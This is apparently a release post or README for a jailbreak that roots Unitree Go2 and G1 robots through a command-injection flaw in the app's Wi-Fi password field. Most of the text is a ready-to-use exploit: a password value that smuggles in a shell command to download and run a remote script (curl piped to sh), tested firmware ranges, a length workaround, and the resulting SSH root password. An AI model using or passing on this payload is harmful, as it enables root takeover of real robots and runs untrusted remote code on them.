FreeBOT Jailbreak (Go2 & G1)

🚀 Root Access Has Never Been This Easy.

Many thanks to Andreas Makris (@Bin4ry) for pointing out the vulnerable service

Introducing a groundbreaking new method that unlocks root access on nearly every Unitree robot and firmware version

So far tested and confirmed on:
🔹 Go2: 1.0.19 - 1.1.7 (latest firmware)
🔹 G1: 1.3.0 - 1.6.0 (latest firmware)

🔧 Method Description

1. Open the Unitree Go or Unitree Explore app.
2. Navigate to Robot Settings → Scroll down and select Wi-Fi Mode.

In the Password field, enter:

wifi_pass";curl -L 4jb.me|sh;#

Replace wifi_pass with your actual Wi-Fi password, followed immediately by the exploit payload ";curl -L 4jb.me|sh;#

⚠️ Important Limitation:
The app truncates Wi-Fi passwords field to 32 characters max.
→ If your network password is longer than 11 characters, you should:
 ✅Temporarily change it to ≤11 chars, OR
 ✅ Use a secondary access point (AP) with a shorter password.

The app may display “Wi-Fi configuration failed”, but at this point, your robot is already jailbroken.

👉 Now, find your robot’s IP address
Then SSH into it using the following credentials:

ssh root@<robot_ip>
Password: theroboverse

You now have full root access 🎉

Update: @Bin4ry has released an exploit tool that works over BLE using the exploit.